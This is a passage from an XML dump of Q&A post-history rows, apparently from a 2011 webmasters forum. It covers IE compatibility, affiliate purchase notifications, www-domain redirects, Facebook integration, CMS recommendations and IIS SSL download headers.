differences are in the DOM and feature support; this is where you may run into compatibility trouble. But you'll need to actually tell us what your problem rather than just having a general moan with a question mark at the end and expecting an answer.&#xD;&#xA;" />
  <row Id="36112" PostHistoryTypeId="2" PostId="15300" RevisionGUID="5186a5c6-8649-4751-b0c4-af0a97c6fa77" CreationDate="2011-06-14T08:43:29.620" UserDisplayName="TaylorMac" Text="For the past two weeks I have been painfully revising and changing my webpage to run in IE.&#xD;&#xA;&#xD;&#xA;**I was happy to see my page working properly on Safari 4 &amp; 5, Chrome 10-13, and FF 3.6-4.0**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**BUT**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**I opened my webpage in IE 8.0 and everything went wrong.**&#xD;&#xA;&#xD;&#xA;I guess I just have two questions: &#xD;&#xA;&#xD;&#xA; 1. What are w3schools.com's browser&#xD;&#xA;    statistics accurate to?&#xD;&#xA;       &#xD;&#xA; 2. Why does IE interpret scripting languages different than Safari,&#xD;&#xA;    Chrome, and FF?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36113" PostHistoryTypeId="1" PostId="15300" RevisionGUID="5186a5c6-8649-4751-b0c4-af0a97c6fa77" CreationDate="2011-06-14T08:43:29.620" UserDisplayName="TaylorMac" Text="How many people Really use IE?" />
  <row Id="36114" PostHistoryTypeId="3" PostId="15300" RevisionGUID="5186a5c6-8649-4751-b0c4-af0a97c6fa77" CreationDate="2011-06-14T08:43:29.620" UserDisplayName="TaylorMac" Text="&lt;browsers&gt;&lt;google-chrome&gt;&lt;internet-explorer-8&gt;&lt;cross-browser&gt;" />
  <row Id="36115" PostHistoryTypeId="2" PostId="15305" RevisionGUID="4f7eb788-d241-45e3-bf6c-dd3232fb3df7" CreationDate="2011-06-14T09:51:03.733" UserId="7198" Text="##The bad news&#xD;&#xA;I searched the documentation, marketing blurb and/or control panels for the best-known affiliate networks: [Clickbank](http://www.clickbank.com/), [Amazon Associates](https://affiliate-program.amazon.com/), [Linkshare](http://www.linkshare.com/), [Commission Junction](http://www.cj.com/), and [buy.at](http://buy.at/). None of them offer a 'return URL' for affiliate accounts that I could find. Some offer a return URL for *seller* accounts, often via the third-party payment service, but that doesn't help you much.&#xD;&#xA;&#xD;&#xA;##The good news&#xD;&#xA;It's still possible to do what you describe and reward members who purchase through your affiliate links. Instead of using a return URL, you'd use the purchase notification service (sometimes called a 'callback' or 'trigger') that affiliate networks provide to confirm that a click resulted in a sale.&#xD;&#xA;&#xD;&#xA;###How it works (Clickbank example)&#xD;&#xA;Clickbank provides an [instant notification service](http://www.clickbank.com/help/affiliate-help/affiliate-tools/instant-notification-service/) that issues an HTTP POST request to a URL on your website when one of your members clicks an affiliate link and purchases the product.&#xD;&#xA;&#xD;&#xA;This allows you to create a PHP script (for example) on your site to capture the customer's name, email address, purchase amount, and a number of other post parameters as listed under the 'getting started' section on [this page](http://www.clickbank.com/help/affiliate-help/affiliate-tools/instant-notification-service/). Your script could also apply rewards to that member's account, email bonus products to them, email them with thanks and details of rewards applied to their account, add their email address to third-party newsletter systems, and much more.&#xD;&#xA;&#xD;&#xA;Clickbank also pings the same URL you specify when a customer's order is refunded, which would allow you to remove any points or rewards issued to that member if they purchase a product but then claim a refund. This is a good advantage over the 'return URL' reward system you were thinking of using, which wouldn't take refunds into account.&#xD;&#xA;&#xD;&#xA;If you're not confident working with Clickbank's notification service, paid scripts are available that help you set up bonus systems. Unfortunately, the ones I found are sold with sleazy titles, cringe-worthy sales pitches and hideous 'WAIT!' popups when you try to close their sales pages. e.g. [&quot;Clickbank Bonus Domination.&quot;](http://cbbonusdomination.com/) (Warning: clicking link may cause loss of faith in humanity.)&#xD;&#xA;&#xD;&#xA;###Other purchase notification services&#xD;&#xA;Other affiliate systems appear to offer purchase notification too, although none of the ones I found were as open in sharing the details as Clickbank is; you have to sign up or attend a (paid) 'university' course to learn more:&#xD;&#xA;&#xD;&#xA;- Linkshare's [realtime reporting system.](http://www.linkshare.com/advertisers/affiliate/reporting/reporting/) (Thin on details; requires sign up.)&#xD;&#xA;- Commission Junction's [tracking services.](http://www.cj.com/about-us/tracking-services) (Again, no setup instructions or info about the API.)&#xD;&#xA;" />
  <row Id="36116" PostHistoryTypeId="2" PostId="15306" RevisionGUID="c12316a8-282f-4cc4-951f-170f586695fd" CreationDate="2011-06-14T09:51:49.160" UserId="1643" Text="1. This is like any engineering project, for example, designing a new car. You want it to be fast, cheap and reliable. You can't have all three. Pick any two. You want cheap, professional-looking and presumably, reliable, so your customers don't have problems. Pick any two.&#xD;&#xA;&#xD;&#xA;2. It sounds like you want someone who could do the work themselves, or is experienced in managing people who do the work, to oversee the freelancer. As yours looks like a commercial enterprise they are probably going to want to get paid a bit too. Look for a web design company and ask just for project manager services. However be prepared to pay.&#xD;&#xA;&#xD;&#xA;You also probably need someone to look after the servers. If you're successful, as you hope, then the servers are going to get overloaded and you want them to keep on working so your customers don't have problems. So you have to have a solution that scales up in the first place, and then someone to deploy new servers as needed. Alternatively you could pay more money to have a solution that scales transparently (new servers are automatically brought online).&#xD;&#xA;&#xD;&#xA;3\. Without digging into the precise requirements, that 30K to 150K figure sounds a bit high, but not totally unreasonable." />
  <row Id="36117" PostHistoryTypeId="5" PostId="15272" RevisionGUID="4cb90237-b7f7-4d03-897c-bf458375d378" CreationDate="2011-06-14T10:08:43.040" UserId="4502" Comment="Added proper link. Too easy to gloss over in copy." Text="I'd suggest having a look at a CMS like [MoST](www.getmost.info), which is developed specifically for event management.&#xD;&#xA;These CMS's have been developed specifically for the kind of requiremetns you are talking about, so there's no need to reinvent the wheel, or mess around with plug-in compatibility issues.&#xD;&#xA;They do come at a price, but the savings in time, reputation, and reliability outweigh the financial cost in my opinion.&#xD;&#xA;The website for it is www.getmost.info, which gives a good overview of what you can do" />
  <row Id="36118" PostHistoryTypeId="24" PostId="15272" RevisionGUID="4cb90237-b7f7-4d03-897c-bf458375d378" CreationDate="2011-06-14T10:08:43.040" Comment="Proposed by 4502 approved by -1 edit id of 399" />
  <row Id="36119" PostHistoryTypeId="5" PostId="15272" RevisionGUID="3e6097a6-78ad-49d6-ad69-eb965f9754ea" CreationDate="2011-06-14T10:08:43.383" UserId="3" Comment="added 7 characters in body" Text="I'd suggest having a look at a CMS like [MoST](http://www.getmost.info), which is developed specifically for event management.&#xD;&#xA;These CMS's have been developed specifically for the kind of requiremetns you are talking about, so there's no need to reinvent the wheel, or mess around with plug-in compatibility issues.&#xD;&#xA;They do come at a price, but the savings in time, reputation, and reliability outweigh the financial cost in my opinion.&#xD;&#xA;The website for it is www.getmost.info, which gives a good overview of what you can do" />
  <row Id="36120" PostHistoryTypeId="2" PostId="15307" RevisionGUID="c19c31f1-35e2-4cd7-8ed3-9b84dddfed55" CreationDate="2011-06-14T10:22:56.277" UserId="7198" Text="&gt; &quot;1. Am I off base or am I approaching this correctly?&quot;&#xD;&#xA;&#xD;&#xA;I'd suggest that you're off base. Your current process:&#xD;&#xA;&#xD;&#xA; 1. Make a huge feature list that results in a complex site build.&#xD;&#xA; 2. Find someone to build everything as cheaply as possible.&#xD;&#xA;&#xD;&#xA;A better process would be this:&#xD;&#xA;&#xD;&#xA; 1. Set a budget based on what you can afford to pay.&#xD;&#xA; 2. Ask several developers what features you can have for that amount of money.&#xD;&#xA; 3. Be prepared to accept that their answer will mean scaling back on your vision.&#xD;&#xA; 4. Tell your designers to create a template based only on the launch features.&#xD;&#xA; 5. Hand the design to the developers to build those features.&#xD;&#xA; 6. Launch the site.&#xD;&#xA; 7. Add other features later based on testing, user demand, and profit.&#xD;&#xA;&#xD;&#xA;This not only saves you money on a project you don't yet know will prove popular; it allows you to launch faster too. I recommend that you read [&quot;Getting Real&quot;](http://gettingreal.37signals.com/) to learn more about this approach. &#xD;&#xA;&#xD;&#xA;&gt; &quot;2. Where can I find someone locally (in the US) who would have knowledge&#xD;&#xA;&gt; of everything I'm trying to accomplish&#xD;&#xA;&gt; that could check the work that someone&#xD;&#xA;&gt; is doing on freelancer to ensure it's&#xD;&#xA;&gt; quality?&quot;&#xD;&#xA;&#xD;&#xA;You don't save money by hiring a cheap developer to build a complex project and paying a more expensive developer to check their work. You save money by hiring the better developer in the first place and paying them to build the minimum number of features required to get your site launched.&#xD;&#xA;&#xD;&#xA;&gt; &quot;3. How much do you believe I should be spending on a website described above?&quot;&#xD;&#xA;&#xD;&#xA;Pay what you can afford. Build a simple site. Launch it. When you have more money, add more stuff." />
  <row Id="36122" PostHistoryTypeId="2" PostId="15309" RevisionGUID="e96dd883-a76b-4c45-a3d7-7a8e81e5635c" CreationDate="2011-06-14T11:39:46.753" UserId="7198" Text="There's no written &quot;best practice&quot; guide for integrating Facebook pages with a corporate website, but you can learn a lot from the way established companies do it. Predominantly, they combine 'Like' buttons with links, and I suggest you do that too.&#xD;&#xA;&#xD;&#xA;For example, Apple has official Facebook pages for [iTunes](https://www.facebook.com/iTunes) and the [App Store.](https://www.facebook.com/AppStore) The App Store page gets no mention that I could find, but the Facebook page is currently featured prominently on the [iTunes product page,](http://www.apple.com/itunes/) with a 'Like' button and a link to their Facebook page ('Become a fan...'):&#xD;&#xA;&#xD;&#xA;![Apple's Facebook link for iTunes][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/6Rfrv.jpg&#xD;&#xA;&#xD;&#xA;To do this, they're using a lightly customised version of the Facebook [Like Box,](https://developers.facebook.com/docs/reference/plugins/like-box/) with the 'show faces', 'show stream', and 'show header' boxes unchecked. You could adopt this for your site too, unless you prefer their [other widgets.](https://developers.facebook.com/docs/plugins/)&#xD;&#xA;&#xD;&#xA;If you're going to adopt social media tools at all, it makes sense to do as much as you can to build a following without ruining the usability and readability of your site. As such, there are few reasons not to include both a 'Like' button *and* a link; you don't have to choose one or the other. Do both.&#xD;&#xA;&#xD;&#xA;Creating a canonical URL from the main page that refers to your Facebook page is probably a bad idea as you suggest, because you'll send any search traffic to Facebook instead of your own site. There are times when this might be a good thing -- Sony have been known to redirect the entire minisite for a product to their Facebook page during the launch campaign, for example -- but it tends to be only for time-limited campaigns where the focus is to build a Facebook presence around a single product." />
  <row Id="36129" PostHistoryTypeId="5" PostId="15276" RevisionGUID="4a906490-c2e2-4de3-aea9-7a42333fdb8d" CreationDate="2011-06-14T11:44:51.307" UserId="1253" Comment="modified tags, minor text edits" Text="Any ideas on a CMS system where I want to give each user a specific page to do their content and not be able to impact other users pages.  It seems most CMS system give a basic level of membership that doesnt allow this kind of setup.&#xD;&#xA;" />
  <row Id="36130" PostHistoryTypeId="4" PostId="15276" RevisionGUID="4a906490-c2e2-4de3-aea9-7a42333fdb8d" CreationDate="2011-06-14T11:44:51.307" UserId="1253" Comment="modified tags, minor text edits" Text="Template CMS system for user space within a site" />
  <row Id="36131" PostHistoryTypeId="6" PostId="15276" RevisionGUID="4a906490-c2e2-4de3-aea9-7a42333fdb8d" CreationDate="2011-06-14T11:44:51.307" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;" />
  <row Id="36132" PostHistoryTypeId="5" PostId="15257" RevisionGUID="07178e2b-dfea-4c5f-b31c-58fd4ee7b574" CreationDate="2011-06-14T11:46:50.683" UserId="1253" Comment="modified tags, minor text edits" Text="I have a lead to build an event manager solution in LAMP with following functionality: &#xD;&#xA;&#xD;&#xA;It should handle events by country, city, locality in city, type of event, venue type etc. &#xD;&#xA;&#xD;&#xA;following are a few user features:&#xD;&#xA;&#xD;&#xA; - to see details of city, venue, event, performer etc. &#xD;&#xA; - to purchase tickets and reserve&#xD;&#xA;   tables.&#xD;&#xA; - to search for events by city, venue,&#xD;&#xA;   type, performer etc.&#xD;&#xA; - to manage favorite venues and&#xD;&#xA;   performers, save events etc.&#xD;&#xA; - the venues should be able to add&#xD;&#xA;   their events&#xD;&#xA;&#xD;&#xA;I plan to use a CMS (Joomla, Drupal etc.) with some ready made extension that provides most of the functionality or provide framework to build upon.&#xD;&#xA;&#xD;&#xA;Could you guys suggest me a CMS and an extension to build this.&#xD;&#xA;" />
  <row Id="36133" PostHistoryTypeId="6" PostId="15257" RevisionGUID="07178e2b-dfea-4c5f-b31c-58fd4ee7b574" CreationDate="2011-06-14T11:46:50.683" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;&lt;lamp&gt;" />
  <row Id="36134" PostHistoryTypeId="4" PostId="15300" RevisionGUID="448b959c-7283-4032-8f46-ab445c88fbfd" CreationDate="2011-06-14T11:48:41.790" UserId="1253" Comment="modified tags, minor text edits" Text="Why is Internet Explorer seemingly work different then other browsers?" />
  <row Id="36135" PostHistoryTypeId="6" PostId="15300" RevisionGUID="448b959c-7283-4032-8f46-ab445c88fbfd" CreationDate="2011-06-14T11:48:41.790" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;browsers&gt;&lt;internet-explorer&gt;&lt;cross-browser&gt;" />
  <row Id="36139" PostHistoryTypeId="5" PostId="15290" RevisionGUID="2295a4be-3d58-46ce-848b-99c1ed33c422" CreationDate="2011-06-14T11:50:47.140" UserId="1253" Comment="modified tags, minor text edits" Text="If you try and go to our website **without** typing the www. You get a page not found error. In my case it goes to a Yahoo 404 page where the website you typed is not even shown in the search results. &#xD;&#xA;&#xD;&#xA;My question is how important is it that customers cannot type this manually? I guess that google etc will just spider the www version and so it will show in the search results in the same manner. Also what is the reason why some websites can be found without the www and some not?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36140" PostHistoryTypeId="4" PostId="15290" RevisionGUID="2295a4be-3d58-46ce-848b-99c1ed33c422" CreationDate="2011-06-14T11:50:47.140" UserId="1253" Comment="modified tags, minor text edits" Text="Does it matter that our website can't be found without the www?" />
  <row Id="36141" PostHistoryTypeId="6" PostId="15290" RevisionGUID="2295a4be-3d58-46ce-848b-99c1ed33c422" CreationDate="2011-06-14T11:50:47.140" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;search-engines&gt;&lt;domain-names&gt;" />
  <row Id="36142" PostHistoryTypeId="2" PostId="15310" RevisionGUID="0ba84469-cc05-4889-bcd5-578ec42fa403" CreationDate="2011-06-14T11:59:49.897" UserId="1643" Text="The page that Tadeck referred to, http://www.joomla.org/technical-requirements.html, recommends you use [WAMP][1] which bundles together Apache, MySQL and PHP in one install. Once you've installed that the [Quickstart Guide][2] will help you (though it talks about using XAMPP, but the previous page says it isn't for live sites). You basically unzip the Joomla install to a directory, and then go to the URL http://localhost/joomla15 to finish off.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wampserver.com&#xD;&#xA;  [2]: http://help.joomla.org/ghop/feb2008/task048/joomla_15_quickstart.pdf" />
  <row Id="36143" PostHistoryTypeId="2" PostId="15311" RevisionGUID="c15db3fb-5726-4abc-b24d-f77e424f5db5" CreationDate="2011-06-14T12:14:17.847" UserId="7198" Text="It matters. Every site should resolve with and without the 'www' because:&#xD;&#xA;&#xD;&#xA; - Some people will type your URL into their address bar. It's unfair to expect them to remember whether they need the 'www' or not, and not everyone will think to try the alternative if they hit an error page first.&#xD;&#xA; - Others will link to your site by typing the URL and may omit the 'www', creating a broken link.&#xD;&#xA;&#xD;&#xA;Your 'marketing people' should pick either 'www.yoursite.com' or 'yoursite.com' and redirect the other version accordingly. They might like to read the advice here to decide if they want the 'www' or not: [When should I use a www subdomain?](http://stackoverflow.com/questions/486621/when-should-one-use-a-www-subdomain)&#xD;&#xA;&#xD;&#xA;To get the 'www' part working, they might have to add an 'A' record for the 'www' subdomain to the site's DNS records. The process differs slightly with different domain registrars, so you should tell them to contact the company they purchased the domain from to ask for help setting up the 'www' subdomain to point to the main site. (Many registrars have help pages that talk you through it.)&#xD;&#xA;&#xD;&#xA;Redirecting the 'www' version to the non-www version (or vice-versa) differs slightly depending upon what server the website is hosted on. One of the most common servers is called Apache, and they can follow the advice listed on [this post](http://stackoverflow.com/questions/234723/generic-htaccess-redirect-www-to-non-www) to automatically redirect visitors from one version of the domain to the other.&#xD;&#xA;&#xD;&#xA;Finally, they should also sign up to use [Google Webmaster Tools](http://www.google.co.uk/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CCUQFjAA&amp;url=http%3A%2F%2Fwww.google.com%2Fwebmasters%2Ftools%2F&amp;ei=ClD3TfvAMNGr8QOKnNG1Cw&amp;usg=AFQjCNHzw4v7cHMZ9WeuuM4BZp6bSIyNlw) and [set the preferred domain](http://www.google.com/webmasters/edu/quickstartguide/guide8.html) that appears in Google search results to include or omit the 'www'." />
  <row Id="36144" PostHistoryTypeId="25" PostId="15300" RevisionGUID="d0b608f7-4cd2-43fd-a408-28da51f61820" CreationDate="2011-06-14T12:21:30.470" Comment="http://twitter.com/#!/StackWebmasters/status/80610812682702848" />
  <row Id="36145" PostHistoryTypeId="5" PostId="15311" RevisionGUID="d32545c8-17cc-42c5-a309-065b1a31911c" CreationDate="2011-06-14T12:25:10.757" UserId="7198" Comment="added 3 characters in body; deleted 3 characters in body" Text="It matters. Every site should resolve with and without the 'www' because:&#xD;&#xA;&#xD;&#xA; - Some people will type your URL into their address bar. It's unfair to expect them to remember whether they need the 'www' or not, and not everyone will think to try the alternative if they hit an error page first.&#xD;&#xA; - Others will link to your site by typing the URL and may omit the 'www', creating a broken link.&#xD;&#xA;&#xD;&#xA;Your 'marketing people' should pick either 'www.yoursite.com' or 'yoursite.com' and redirect the other version accordingly. They might like to read the advice here to decide if they want the 'www' or not: [When should I use a www subdomain?](http://stackoverflow.com/questions/486621/when-should-one-use-a-www-subdomain)&#xD;&#xA;&#xD;&#xA;To get the 'www' part working, they might have to add an 'A' record for the 'www' subdomain to the site's DNS records. The process differs slightly with different domain registrars, so you should tell them to contact the company they purchased the domain from to ask for help setting up the 'www' subdomain to point to the main site. (Many registrars have help pages that talk you through it.)&#xD;&#xA;&#xD;&#xA;Redirecting the 'www' version to the non-www version (or vice-versa) differs slightly depending upon what server the website is hosted on. One of the most common servers is called Apache, and they can follow the advice listed on [this post](http://stackoverflow.com/questions/234723/generic-htaccess-redirect-www-to-non-www) to automatically redirect visitors from one version of the domain to the other.&#xD;&#xA;&#xD;&#xA;Finally, they should also sign up to use [Google Webmaster Tools](http://www.google.co.uk/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CCUQFjAA&amp;url=http%3A%2F%2Fwww.google.com%2Fwebmasters%2Ftools%2F&amp;ei=ClD3TfvAMNGr8QOKnNG1Cw&amp;usg=AFQjCNHzw4v7cHMZ9WeuuM4BZp6bSIyNlw) and [set the preferred domain](http://www.google.com/webmasters/edu/quickstartguide/guide8.html) that appears in Google search results to include or omit the 'www'." />
  <row Id="36146" PostHistoryTypeId="17" PostId="15312" RevisionGUID="dddc78b2-133b-42ad-8fa6-2e541744825c" CreationDate="2011-06-14T12:39:08.123" UserId="-1" Comment="from http://stackoverflow.com/questions/6306914/www-of-domain-name-not-found-on-pc" Text="" />
  <row Id="36147" PostHistoryTypeId="17" PostId="15313" RevisionGUID="f3b76389-b11e-4dd0-92eb-568dd3a75cb5" CreationDate="2011-06-14T12:39:08.123" UserId="-1" Comment="from http://stackoverflow.com/questions/6306914/www-of-domain-name-not-found-on-pc" Text="" />
  <row Id="36148" PostHistoryTypeId="17" PostId="15314" RevisionGUID="726f3c49-a2a4-4929-ac54-8985aba78ba7" CreationDate="2011-06-14T12:39:08.123" UserId="-1" Comment="from http://stackoverflow.com/questions/6306914/www-of-domain-name-not-found-on-pc" Text="" />
  <row Id="36149" PostHistoryTypeId="2" PostId="15313" RevisionGUID="22c5c159-c933-466e-a2a4-ed74ddcb0324" CreationDate="2011-06-10T13:22:42.757" UserId="6792" Text="Is your web server set up to answer both of the domain names? Some browsers tries adding/removing the www-part if it's not working.&#xD;&#xA;&#xD;&#xA;Read up on [VirtualHosts][1] for apache (if that's what you are using)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/vhosts/ &quot;VirtualHosts&quot;" />
  <row Id="36150" PostHistoryTypeId="2" PostId="15314" RevisionGUID="52939e79-f824-46e3-a538-ed8c143d8004" CreationDate="2011-06-10T13:24:59.727" UserId="5959" Text="I'm guessing that the pc is caching a previous DNS miss.&#xD;&#xA;&#xD;&#xA;[`http://www.tech-faq.com/how-to-flush-dns.html`][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tech-faq.com/how-to-flush-dns.html" />
  <row Id="36151" PostHistoryTypeId="2" PostId="15312" RevisionGUID="3ccb52d4-8fd6-407c-b96a-f39dccddf5b5" CreationDate="2011-06-10T13:20:14.983" UserId="7801" Text="I have a domain name setup with LCN but I'm having a problem with the www. part of it on a PC.&#xD;&#xA;&#xD;&#xA;On a mac if you type in [www.teamworksdesign.com][1] if we direct you to our holding page. However, if you type this in on a PC it goes to a page not found. If you remove the www. it works though.&#xD;&#xA;&#xD;&#xA;This is what we have setup in our account:&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;Does anyone know what's going on?&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;This is what I have in my web server:&#xD;&#xA;&#xD;&#xA;![enter image description here][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.teamworksdesign.com&#xD;&#xA;  [2]: http://i.stack.imgur.com/c9Djo.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/r2xTf.png" />
  <row Id="36152" PostHistoryTypeId="1" PostId="15312" RevisionGUID="3ccb52d4-8fd6-407c-b96a-f39dccddf5b5" CreationDate="2011-06-10T13:20:14.983" UserId="7801" Text="www. of domain name not found (on PC)" />
  <row Id="36153" PostHistoryTypeId="3" PostId="15312" RevisionGUID="3ccb52d4-8fd6-407c-b96a-f39dccddf5b5" CreationDate="2011-06-10T13:20:14.983" UserId="7801" Text="&lt;domains&gt;" />
  <row Id="36154" PostHistoryTypeId="2" PostId="15315" RevisionGUID="30d36bd9-4745-4da6-987c-919ddc2c6cf3" CreationDate="2011-06-14T13:02:16.680" UserId="8291" Text="@Ethan: so there will be a table will all the connections, like: user_id, connected_user_id, depth_degree&#xD;&#xA;which will have all the connected nodes... eg.&#xD;&#xA;&#xD;&#xA;    user A has: user B and user C as first degree&#xD;&#xA;    user B has: user A, user D and user E as first degree&#xD;&#xA;    user C has: user A as first degree&#xD;&#xA;    user D has: user B and user F as first degree&#xD;&#xA;&#xD;&#xA;in the table there will be:&#xD;&#xA;&#xD;&#xA;    user A, user B, 1&#xD;&#xA;    user A, user C, 1&#xD;&#xA;    User A, user D, 2&#xD;&#xA;    user A, user E, 2&#xD;&#xA;    user A, user F, 3&#xD;&#xA;    user B, user A, 1&#xD;&#xA;    user B, user D, 1&#xD;&#xA;    user B, user E, 1&#xD;&#xA;    user B, user F, 2&#xD;&#xA;    user C, user A, 1&#xD;&#xA;    user D, user B, 1&#xD;&#xA;    user D, user F, 1&#xD;&#xA;    ....&#xD;&#xA;&#xD;&#xA;right? wouldn't be this a lot of records in order to keep all the connections of the graph? imagine just one million of users, with like 200 first degrees the result table will have billions of records&#xD;&#xA;&#xD;&#xA;@Thomas: I'll surely read your post and look more into hadoop, thanks&#xD;&#xA;&#xD;&#xA;Do you think that it would work on a nosql database (mongodb/couchdb)?&#xD;&#xA;&#xD;&#xA;Thank you both :)&#xD;&#xA;&#xD;&#xA;(btw i think too that stackoverflow is a better place for this topic)" />
  <row Id="36155" PostHistoryTypeId="2" PostId="15316" RevisionGUID="f9ef576e-ac3f-4578-873a-1c2532116671" CreationDate="2011-06-14T13:11:18.210" UserId="8263" Text="Have you checked out [Question2Answer][1] yet ? It does have a reputation system, is in php and can be integrated within a wiki. However, as far as I know, the reputation does not grant additional privileges, like in SE.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.question2answer.org/" />
  <row Id="36159" PostHistoryTypeId="2" PostId="15317" RevisionGUID="d4de0bbb-62e3-4954-9829-54cd285caf50" CreationDate="2011-06-14T13:39:55.007" UserId="1643" Text="Try escaping the colon and slashes and capture the end of the string:&#xD;&#xA;&#xD;&#xA;    url.redirect = ( &quot;^/http\:\/\/(.*)$&quot; =&gt; &quot;http://isitup.org/$1&quot; )" />
  <row Id="36160" PostHistoryTypeId="2" PostId="15318" RevisionGUID="4554f718-f04b-4d58-b754-897b4edf2b47" CreationDate="2011-06-14T13:40:06.647" UserId="8293" Text="You'd be quite foolish to make the same website available via website.com and www.website.com as this will seriously affect your search engine rankings as it would be classed as split content.&#xD;&#xA;&#xD;&#xA;As far as I'm concerned, the best way to do it is either have only the www.website.com resolve or if you really must use the website.com, have 301 redirects set up to point to the www.&#xD;&#xA;&#xD;&#xA;In your case you probably should use the 301 redirects the other way around.&#xD;&#xA;&#xD;&#xA;Making website.com available in that way also opens up a new can of worms when considering * records in your dns records as well." />
  <row Id="36161" PostHistoryTypeId="5" PostId="15299" RevisionGUID="d59cb5b8-fa28-42ba-9eb0-e7e69b014055" CreationDate="2011-06-14T14:03:35.097" UserId="8286" Comment="Clarify comment about canonical url" Text="I'm anonymising this situation a bit, so I apologise if the scenario seems a bit contrived, but the question is a genuine one I need to address.&#xD;&#xA;&#xD;&#xA;I'm working on a website for a web-based company which acts as an intermediary or broker between public speakers and people who want to hire them. The company wants to tie into social media, so I've added Facebook etc. like/share buttons. Each registered speaker has a separate page with its own OpenGraph metadata and so they can be independently &quot;liked&quot;.&#xD;&#xA;&#xD;&#xA;The front page also has a &quot;like&quot; button for people who appreciate the service provided by the site instead of / as well as individual speakers. The company also has a Facebook Pages page. The question is how to tie them together.&#xD;&#xA;&#xD;&#xA;&gt; Is there a &quot;Best practices&quot; approach to handling the relationship between the company website and the company Facebook Pages page?&#xD;&#xA;&#xD;&#xA;In particular, should I replace the Like button on the front page with a link to the Facebook page (or perhaps change the OpenGraph metadata for it to set the Facebook page as og:url - although my instinct is that that's a bad idea)?" />
  <row Id="36162" PostHistoryTypeId="2" PostId="15319" RevisionGUID="ff6e0b9b-8e58-43b3-9807-db7103c5b26d" CreationDate="2011-06-14T14:07:12.787" UserId="1643" Text="Mediawiki has some extensions that do rating this including [W4G rating bar][1]. If you can't find a wiki that does it out of the box you could hack that extension and combine it with the built in privileges system to do what you want. Or you could give a [bounty][2] for someone to do it for you (though one link on that page doesn't work and the Facebook page is pretty quiet).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mediawiki.org/wiki/Extension:W4G_Rating_Bar&#xD;&#xA;  [2]: http://www.mediawiki.org/wiki/Bounty" />
  <row Id="36163" PostHistoryTypeId="6" PostId="11649" RevisionGUID="a9bc0086-4cf2-4095-ad57-0dd0f4f5db9b" CreationDate="2011-06-14T14:25:36.053" UserId="1253" Comment="modified tags" Text="&lt;bugzilla&gt;" />
  <row Id="36164" PostHistoryTypeId="2" PostId="15320" RevisionGUID="12705f36-5e83-4af1-8741-465bdd543c64" CreationDate="2011-06-14T14:42:01.320" UserId="8296" Text="The web master at my corporation added SSL to the web site and now none of my users can download Microsoft word and xcel files the sites generates. According to Microsoft the following must be done.&#xD;&#xA;&#xD;&#xA;&quot;Web sites that want to allow this type of operation should remove the no-cache header or headers. &quot;&#xD;&#xA;&#xD;&#xA;Typical of MS they don't tell you what to do, how to do it, or what the best practice is. The web master says its a web config setting. But all i can finds is &#xD;&#xA;&#xD;&#xA;	&lt;httpRuntime sendCacheControlHeader=&quot;false&quot;/&gt;&#xD;&#xA;&#xD;&#xA;and I don't know if this is the best way to achieve the result.&#xD;&#xA;&#xD;&#xA;I would greatly appreciate some advice on this subject." />
  <row Id="36165" PostHistoryTypeId="1" PostId="15320" RevisionGUID="12705f36-5e83-4af1-8741-465bdd543c64" CreationDate="2011-06-14T14:42:01.320" UserId="8296" Text="Unable to download microsoft excel files from a IIS SSL site" />
  <row Id="36166" PostHistoryTypeId="3" PostId="15320" RevisionGUID="12705f36-5e83-4af1-8741-465bdd543c64" CreationDate="2011-06-14T14:42:01.320" UserId="8296" Text="&lt;ssl&gt;" />
  <row Id="36167" PostHistoryTypeId="5" PostId="15320" RevisionGUID="e9061234-f595-4d11-bd21-5e6aeaf56686" CreationDate="2011-06-14T14:44:18.150" UserId="1643" Comment="added 99 characters in body; edited tags" Text="The web master at my corporation added SSL to the web site and now none of my users can download Microsoft word and xcel files the sites generates. According to Microsoft the following must be down.&#xD;&#xA;&#xD;&#xA;Web sites that want to allow this type of operation should remove the no-cache header or headers. &#xD;&#xA;&#xD;&#xA;Typical of MS they don't tell you what to do, how to do it, or what the best practice is. The web master says its a web config setting. But all i can finds is &#xD;&#xA;&#xD;&#xA;    &lt;configuration&gt;&#xD;&#xA;        &lt;appSettings/&gt;&#xD;&#xA;        &lt;connectionStrings/&gt;&#xD;&#xA;        &lt;system.web&gt;&#xD;&#xA;    	&lt;httpRuntime sendCacheControlHeader=&quot;false&quot;/&gt;&#xD;&#xA;&#xD;&#xA;and I don't know if this is the best way to achieve the result.&#xD;&#xA;&#xD;&#xA;I would greatly appreciate some advice on this subject." />
  <row Id="36168" PostHistoryTypeId="6" PostId="15320" RevisionGUID="e9061234-f595-4d11-bd21-5e6aeaf56686" CreationDate="2011-06-14T14:44:18.150" UserId="1643" Comment="added 99 characters in body; edited tags" Text="&lt;ssl&gt;&lt;iis&gt;" />
